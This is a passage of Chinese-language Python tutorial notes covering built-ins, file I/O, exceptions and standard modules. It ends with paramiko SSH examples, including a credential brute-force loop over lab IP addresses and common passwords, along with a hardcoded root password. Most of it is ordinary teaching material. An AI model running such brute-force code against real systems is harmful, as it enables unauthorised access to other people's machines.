| fun1() |
| print("---------------------------------------") |
| def fun2(): |
| global age ## 变量定义在函数体内,但有希望在外部也可以调用,使用global |
| age = 20 |
| print(age) |
| fun2() |
| print(age) ## 也是可以调用的,不够会有警告 |
13、自带的内置函数
| php---有高度封装的函数 |
| python--有内置函数 |
| 具体参考官方手册 |
| ## abs():返回一个数的绝对值 |
| print(abs(-10)) |
| print("---------------------------------------") |
| ## all():用于判断一个可迭代对象中的所有元素是否都是True,如果是返回True,否则返回False |
| print(all(['a', 'b', 'c'])) |
| print(all(['a', 'b', 0])) |
| print("---------------------------------------") |
| ## any():用于判断一个可迭代对象中的所有元素是否都是False,如果全部都是False返回False,否则返回True |
| print(any([0, '', False])) |
| print(any([1, '', False])) |
| print("---------------------------------------") |
| ## hash() 返回对象的哈希值 |
| print(hash(-1)) |
| print("---------------------------------------") |
| ## help()启动内置的帮助系统;pycharm->ctrl+点击 |
| help(print) |
| print("---------------------------------------") |
| ## min() |
| ## max() |
| print(max([1, 10, -1, 0])) |
| print(min([1, 10, -1, 0])) |
| print("---------------------------------------") |
| ## dir() 如果带参数,返回参数的属性和方法的列表;如果不带参数,返回当前范围内的变量、函数和定义的类型的列表 |
| print(dir([])) ## 查看列表的方法 |
| print(dir(())) ## 查看元组的方法 |
| print(dir({})) ## 查看字典的方法 |
| print(dir()) ## 查看目前页面存在的属性与方法 |
| print(dir(__doc__)) ## 查看目前文件存在的... |
| name = 'xiao ming' |
| print(dir()) |
| print(dir(name)) ## 查看name的变量属性与方法 |
| print("---------------------------------------") |
| ## eval() 用来执行一个字符串表达式,并返回表达式的值 |
| print(eval('3 * 2')) |
| print("---------------------------------------") |
| ## exec() 执行存储在字符串或文件中的python语句,相较于eval,exec可以执行更复杂的python代码 |
| exec('for i in range(5): print(i)') |
| print("---------------------------------------") |
| ## len() 返回对象的长度或元素个数 |
| print(len('abcd')) |
| print("---------------------------------------") |
| ## repr() 将对象转换为供解释器读取的形式 |
| s = 'abcd' |
| print(repr(s)) |
文件操作、异常处理、模块
1、文件操作相关
| unicode与gbk的区别: |
| unicode:万国码 |
| gbk:中文 |
| python解释器默认编码格式为unicode |
| utf-8是unicode的一种具体形式 |
| # encoding=gbk 将编码格式改为gbk |
| |
| 模式: |
| r : 只读, 读取文件内容, 文件不存在会报错 |
| w : 只写, 写入内容, 会覆盖原本内容, 文件不存在自动创建 |
| a : 追加, 在原本内容的结尾追加, 文件不存在自动创建 |
| t : 文本模式(默认) |
| b : 二进制模式 |
| x : 排它性创建,如果文件已存在则失败 |
| + : 打开用于更新(读取与写入) |
| a+ : 以读写的方式打开文件, 追加, 在原本内容的结尾追加, 文件不存在自动创建 |
| w+ : 以读写的方式打开文件, 写入内容, 会覆盖原本内容, 文件不存在自动创建 |
| r+ : 以读写的方式打开文件,读取文件内容, 文件不存在会报错 |
| # 打开文件 |
| # open(filepath, mode, encoding) |
| # 读取文件 |
| f = open('1.txt', 'r', encoding='utf-8') |
| result = f.read() # read()读取文件的全部内容,文件读完之后再读就读取不到东西 |
| print(result) |
| print(result) # 没结果 |
| f.close() |
| print("---------------------------------------") |
| f = open('1.txt', 'r', encoding='utf-8') |
| result1 = f.readline() # readline()只读取一行 可以一行一行往下读 |
| result2 = f.readline() |
| print(result1) # 指针指到头了,也是一样无法继续读下去 |
| print(result2) |
| f.close() |
| print("---------------------------------------") |
| f = open('1.txt', 'r', encoding='utf-8') |
| result3 = f.readlines() # 读取全部行,以列表形式返回,包括换行符 |
| print(result3) |
| f.close() |
| print("---------------------------------------") |
| for i in result3: |
| print(i.strip()) # strip()用于移除字符串头尾的指定字符(默认是空格或换行符) |
| # 如果文件不继续使用,记得要关闭文件 |
| f.close() |
| print("---------------------------------------") |
| # b 是以二进制模式打开文件,但是不能单独使用,需要配合rb/wb等,不能指定编码 一般情况下,视频和图片以二进制的方式打开 |
| f = open('1.jpg', 'rb') |
| print(f.read()) |
| f.close() |
| print("---------------------------------------") |
| # 写入文件 |
| f = open('2.txt', 'w', encoding='utf-8') |
| f.write('12345') |
| f.close() |
| print("---------------------------------------") |
| f = open('2.txt', 'w', encoding='utf-8') |
| f.writelines(['abc\n', '123456']) |
| f.close() |
| print("---------------------------------------") |
| # 复制图片 |
| a = open('1.jpg', 'rb') |
| b = open('copy.jpg', 'wb') |
| b.write(a.read()) |
| a.close() |
| b.close() |
2、文件指针
| # seek():把指针移动到新的位置 |
| f = open('2.txt', 'r', encoding='utf-8') |
| f.seek(3) |
| print(f.read()) |
| f.seek(1) |
| print(f.read()) |
| f.close() |
| print("---------------------------------------") |
| # tell()返回文件当前指针的位置 |
| f = open('2.txt', 'r', encoding='utf-8') |
| f.seek(3) |
| print(f.tell()) |
| f.seek(1) |
| print(f.tell()) |
| f.close() |
3、刷新缓冲区
| flush() 刷新缓冲区 |
| 一般情况下,文字不是马上写入文件的,先写入缓冲区,然后等到文件关闭,再写入文件中 |
| 一般情况下,文件关闭后,文件会自动刷新缓冲,将缓冲区的内容写入到文件当中,但有时,我们需要提前关闭或者刷新它,这时就可以使用fulush()方法。 |
| flush()是用来刷新缓冲区,即将缓冲区中的数据,立刻写入文件,同时清空缓冲区,不需要是被动的等待缓冲区写入。 |
| f = open('1.txt', 'a') |
| f.write('hello') |
| f.flush() # 当这个文件进行写入,但又没有全部写完,我们又需要马上读取文件内容,这时候就可以通过刷新缓冲区来实现 |
| f.close() |
| print("---------------------------------------") |
| # 通过缓冲区的原理实现进度条 |
| import sys,time |
| for i in range(30): |
| sys.stdout.write("*") # 系统输出 |
| sys.stdout.flush() # 刷新 |
| time.sleep(0.2) |
4、上下文管理器/with语句
| 上下文管理器/with语句 |
| 上下文管理可以让执行代码结束后,关闭当前的进程,减少资源的占用 |
| with 代码块 as 别名: |
| 代码块 |
| with open('1.txt', 'r', encoding='utf-8') as file: |
| print(file.read()) |
5、异常处理
| 异常处理: |
| 粗心导致的语法错误: |
| 1、漏了末尾的冒号 比如if语句 with语句 循环语句 |
| 2、缩进、格式错误 |
| 3、把英文符号协程中文符号 引号 冒号 括号 |
| 4、==和=混用 |
| 5、字符串拼接时,把字符串和数字拼在一起 |
| 6、没有定义变量,比如while循环的条件变量 |
| 7、索引大多数都是从0开始,而不是1 |
| 8、函数和方法不熟悉,比如append只能加一个数据 |
| try: |
| 可能出现异常的代码 |
| except: |
| 异常处理代码 |
| try: |
| a = int(input('请输入第一个整数:')) |
| b = int(input('请输入第二个整数:')) |
| result = a / b |
| print('结果为:', result) |
| except: |
| print('输入异常,请检查您的输入') |
| print('程序结束') |
| print("---------------------------------------") |
| try: |
| a = int(input('请输入第一个整数:')) |
| b = int(input('请输入第二个整数:')) |
| result = a / b |
| print('结果为:', result) |
| except ZeroDivisionError: |
| print('对不起,除数不能为0') |
| except ValueError: |
| print('对不起,不能输入字符串') |
| except BaseException as e: |
| print(e) |
| print('程序结束') |
| print("---------------------------------------") |
| |
| try: |
| 可能出现异常的代码 |
| except: |
| 异常处理代码 |
| else: |
| 不出现异常执行的代码 |
| try: |
| a = int(input('请输入第一个整数: ')) |
| b = int(input('请输入第二个整数: ')) |
| result = a / b |
| except: |
| print('您输入的数有误') |
| else: |
| print('结果为:', result) |
| print('程序运行结束') |
| try: |
| 可能出现异常的代码 |
| except: |
| 异常处理代码 |
| else: |
| 不出现异常执行的代码 |
| finally: |
| 无论程序是否异常都会执行的代码 |
| try: |
| a = int(input('请输入第一个整数:')) |
| b = int(input('请输入第二个整数:')) |
| result = a / b |
| except: |
| print('输入异常,请检查您的输入') |
| else: |
| print('结果为:', result) |
| finally: |
| print('程序结束') |
| print("---------------------------------------") |
6、模块
| 模块:只要是以.py结尾的文件,都可以说是一个模块,可以包含函数、类、语句等 |
| 包:只要一个目录里存在__int__.py就是一个包, __int__.py可以为空,不影响使用,但是导入方式有区别 |
| import 模块名/包名 |
| from 模块名/包名 import 功能名/模块名 |
| from 模块名/包名 import * # 如果要用*导入模块,__init__.py不能为空 |
| import 模块名/包名 as 功能名/模块名 |
| # 导入模块 |
| import jiafa |
| print(jiafa.jia(1, 2)) |
| print(jiafa.name) |
| print("---------------------------------------") |
| from jiafa import jia |
| print(jia(1, 2)) |
| print("---------------------------------------") |
| from jiafa import jia as j # 给函数取别名 |
| print(j(1, 2)) |
| print("---------------------------------------") |
| import jiafa as jiajia # 给模块取别名 |
| print(jiajia.jia(1, 2)) |
| print("---------------------------------------") |
| from jiafa import * |
| print(jia(1, 2)) |
| print("---------------------------------------") |
| # 导入包 |
| from test import jiafa # 导入模块(包) |
| print(jiafa.jia(1, 2)) |
| print("---------------------------------------") |
| from test.jiafa import jia # 导入具体模块 |
| print(jia(1, 2)) |
| print("---------------------------------------") |
| from test.jiafa import jia as j |
| print(j(1, 2)) |
| print("---------------------------------------") |
| # from test import * |
| # print(jiafa.jia(1, 2)) # 直接运行是会存在报错的,需要在包中的__init__.py文件下添加__all__ = ['jiafa']-->导入模块 |
7、常用模块介绍-os
| 常用模块介绍 |
| pip:python安装第三方包的指令 |
| pip install 包名 [-i 源] |
| 如:pip install -r requirementx.txt [-i 源] 源一般使用的国内的源,会比较快 |
| # os模块提供了非常丰富的方法用来处理文件和目录 |
| import os |
| # 识别操作系统 |
| print(os.name) # nt代表windows posix,说明系统是linux或unix或mac os |
| print("---------------------------------------") |
| # 获取当前目录 |
| print(os.getcwd()) |
| print("---------------------------------------") |
| # 重命名、转移 |
| # os.rename('1.txt', '3.txt') |
| # os.rename('3.txt', '1.txt') |
| # os.rename('3.txt', '../5.txt') # 重命名+转移 |
| print("---------------------------------------") |
| # 列出目录信息,默认是当前目录,以表格形式返回 |
| print(os.listdir()) |
| print(os.listdir('../lesson04')) # 相对路径 |
| print(os.listdir('D:/')) # 绝对路径 |
| for i in os.listdir(): |
| print(i) |
| print("---------------------------------------") |
| # os.scandir()函数返回目录条目以及文件属性信息 |
| import os |
| with os.scandir() as sc: |
| for file in sc: |
| print(file) |
| print(file.name) |
| # 更改目录 |
| os.chdir('../lesson04') # 相对路径 |
| print(os.getcwd()) |
| print("---------------------------------------") |
| import os |
| # 路径判断相关 |
| print(os.path.isdir('./')) # 判断是否是一个目录 |
| print(os.path.abspath('./')) # 获取一个绝对路径 |
| print(os.path.exists('2.jpg')) # 判断路径中的文件是否存在 |
| print("---------------------------------------") |
| # 执行系统命令 |
| os.system('cmd') |
| os.system('calc') |
| os.system('ipconfig') |
| print("---------------------------------------") |
| # 创建目录 |
| os.mkdir('abc') |
| os.makedirs('abc/cba') #递归创建 |
| print("---------------------------------------") |
| # 删除文件/目录 |
| # os.remove('2.txt') |
| os.removedirs('abc/cba') |
8、常用模块介绍-sys
| sys该模块提供对解释器使用或维护的一些变量的访问,以及与解释器交互的函数 |
| import sys |
| # 获取命令行参数 使用终端运行 |
| # print(sys.argv) |
| # a = sys.argv[1] |
| # b = sys.argv[2] |
| # print(int(a) + int(b)) # 使用终端运行 |
| print("---------------------------------------") |
| # 标准输出流 |
| sys.stdout.write("hello world") |
| print(sys.version) |
| print(sys.winver) |
| # 标准输入流 |
| info = sys.stdin.read() # 等待用户输入 |
| # 标准输出流 |
| sys.stdout.write('hello world') |
| # 输出python版本信息 |
| print(sys.version) |
| print("---------------------------------------") |
| # 输出python大版本信息 |
| print(sys.winver) |
9、常用模块介绍-base64
| encode():把字符串转换为bytes类型 可选择其它编码 |
| decode():把bytes类型转换为字符串 可选择其他编码 |
| b指定为byte字符 |
| import base64 |
| s = 'hello world' |
| print(s.encode()) # 进行base64编码需要将字符串转换为bytes类型 |
| print(base64.b64encode(s.encode()).decode()) # 进行base64编码 |
| print(base64.b64decode('aGVsbG8gd29ybGQ='.encode()).decode()) # 进行base64解码 |
10、常用模块介绍-hashlib
| # hashlib:md5 sha 系列的加密 |
| import hashlib |
| md5 = hashlib.md5() |
| md5.update(b'123') |
| print(md5.hexdigest()) |
| print(hashlib.md5(b'123456').hexdigest()) |
| # sha系列 |
| print(hashlib.sha256(b'123456').hexdigest()) |
11、常用模块介绍-sting
| # sting:快速的获取一些可迭代字符、数字、英文字母等 |
| import string |
| print(string.ascii_lowercase) |
| print(string.ascii_uppercase) |
| # print(string.digits) |
| platform:python的内置模块,可以查看系统信息和python版本信息等 |
| import platform |
| # 查看操作系统类型和位数 |
| print(platform.architecture()) |
| print("---------------------------------------") |
| # 返回机器类型(处理器) |
| print(platform.machine()) |
| print("---------------------------------------") |
| # 返回节点名 |
| print(platform.node()) |
| print("---------------------------------------") |
| # 系统版本信息 |
| print(platform.platform()) |
| print("---------------------------------------") |
| # 返回处理器名称 |
| print(platform.processor()) |
| print("---------------------------------------") |
| # 具有高可移植性的uname接口,返回操作系统信息相关元组 |
| print(platform.uname()) |
13、常用模块介绍-time
| # time模块:时间访问和转换 |
| import datetime |
| import time |
| print(time.time()) # 时间戳从1970.1.1开始,每秒加1,计算机元年 |
| print("---------------------------------------") |
| start = time.time() |
| time.sleep(5) # 没有办法做到绝对的5秒 |
| end = time.time() |
| print(end - start) |
| print("---------------------------------------") |
| # 时间显示格式化 |
| print(time.strftime("%Y-%m-%d %H:%M:%S")) |
| print("---------------------------------------") |
| # 终端显示时间 |
| while True: |
| print('\r', time.strftime("%Y-%m-%d %H:%M:%S"), end='', flush=True) |
| print("---------------------------------------") |
| # 返回时间结构体 |
| print(time.localtime()) # 返回元组 |
| print(time.gmtime()) # 返回元组 |
| print("---------------------------------------") |
| # datatime:时间日期处理模块 |
| print(datetime.datetime.now()) |
| print("---------------------------------------") |
| # 日历模块 |
| import calendar |
| print(calendar.calendar(2022)) |
| print(calendar.prmonth(2022, 9)) |
14、常用模块介绍-random
| # random:随机模块 |
| import random |
| import time |
| # 返回指定范围内的随机整数 满足 a<=N<=b(闭区间) |
| while True: |
| N = random.randint(1, 5) |
| time.sleep(0.5) |
| print(N) |
| print("---------------------------------------") |
| # 返回指定范围内的随机整数 满足 a<=N=b |
| while True: |
| # M = random.randrange(10) |
| # M = random.randrange(5, 10) |
| M = random.randrange(0, 10, 2) |
| time.sleep(0.5) |
| print(M) |
| print("---------------------------------------") |
| # 从非空序列中返回一个随机元素random.choice() |
| print(random.choice([12345, 'abc', True, 'hello'])) |
| print("---------------------------------------") |
| # 返回[0.0, 1.0)范围内的一个浮点数 |
| print(random.random()) |
| print("---------------------------------------") |
| # 返回一个随机浮点数N |
| print(random.uniform(5, 6)) |
| print(random.uniform(6, 5)) |
| print("%.2f" % random.uniform(4,6)) |
15、常用模块介绍-paramiko
| paramiko是基于python实现的ssh远程安全连接,支持认证和密钥的方式 |
| 安装 pip install paramiko |
| import paramiko |
| host = '192.168.109.150' |
| user = 'root' |
| passwd = 'admin@123' |
| port = 22 |
| # 实例化sshclint |
| ssh = paramiko.SSHClient() |
| # 设置策略,防止未知hosts错误 |
| ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy) |
| # 连接目标主机 |
| ssh.connect(username=user, hostname=host, password=passwd, port=port) |
| # 执行指令 |
| stdin, stdout, stderr = ssh.exec_command('ls') |
| print(stdout.read().decode()) |
| ssh.close() |
| # 生成远程主机的伪终端-非交互式的 |
| import paramiko |
| host = '192.168.109.150' |
| user = 'root' |
| passwd = 'admin@123' |
| port = 22 |
| ssh = paramiko.SSHClient() |
| ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy) |
| ssh.connect(username=user, hostname=host, password=passwd, port=port) |
| while True: |
| cmd = input("ssh > ") |
| if cmd == 'exit': |
| ssh.close() |
| break |
| stdin, stdout, stderr = ssh.exec_command(cmd) |
| print(stdout.read().decode()) |
| # paramiko:ssh批量爆破 |
| import paramiko |
| ssh = paramiko.SSHClient() |
| ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy) |
| host = ['192.168.109.149', '192.168.109.150'] |
| user = ['kali', 'root', 'admin'] |
| passwd = ['root', 'admin@123', '123456'] |
| port = 22 |
| for h in host: |
| for u in user: |
| for p in passwd: |
| try: |
| ssh.connect(username=u, hostname=h, password=p, port=port, timeout=2) |
| ssh.exec_command('uname -a') |
| except: |
| print(f'[-] {h} brute force failed!') |
| else: |
| print(f'[+] {h} brute force success! {u}:{p}') |
| continue |
| # 与远程主机实行交互式shell |
| import time |
| import paramiko |
| |
| host = '192.168.109.150' |
| user = 'root' |
| passwd = 'admin@123' |
| port = 22 |
| # 实例化sshclint |
| ssh = paramiko.SSHClient() |
| # 设置策略,防止未知hosts错误 |
| ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy) |
| try: |
| ssh.connect(username=user, hostname=host, password=passwd, port=port) |
| except Exception as e: |
| print(e) |
| |
| # 交互式shell |
| shell = ssh.invoke_shell() |
| |
| logininfo = shell.recv(4096).decode() |
| print(logininfo) |
| |
| while True: |
| cmd = input("ssh> ").strip() |
| if cmd == 'exit': |
| shell.close() |
| ssh.close() |
| break |
| |
| shell.send(cmd+'\n') |
| time.sleep(0.5) |
| result = '' |
| while True: |
| info = shell.recv(1024) |
| result += info.decode('utf-8') |
| if len(info) < 1024: |
| break |
| print(result) |
| # 上传下载 |
| import paramiko |
| |
| # SFTPClient 上传下载 |
| host = '192.168.109.150' |
| user = 'root' |
| passwd = 'admin@123' |
| port = 22 |
| ssh = paramiko.SSHClient() |
| ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) |
| try: |
| ssh.connect(username=user, hostname=host, password=passwd, port=port) |
| except Exception as e: |
| print(e) |
| |
| # 开启SFTPClient |
| ftp = ssh.open_sftp() |
| print(ftp.listdir()) |
| # 下载文件 |
| ftp.get('2.txt', '123.txt') |
| # 上传文件 |
| ftp.put('123.txt', '/1.txt') |
| ftp.close() |
| ssh.close() |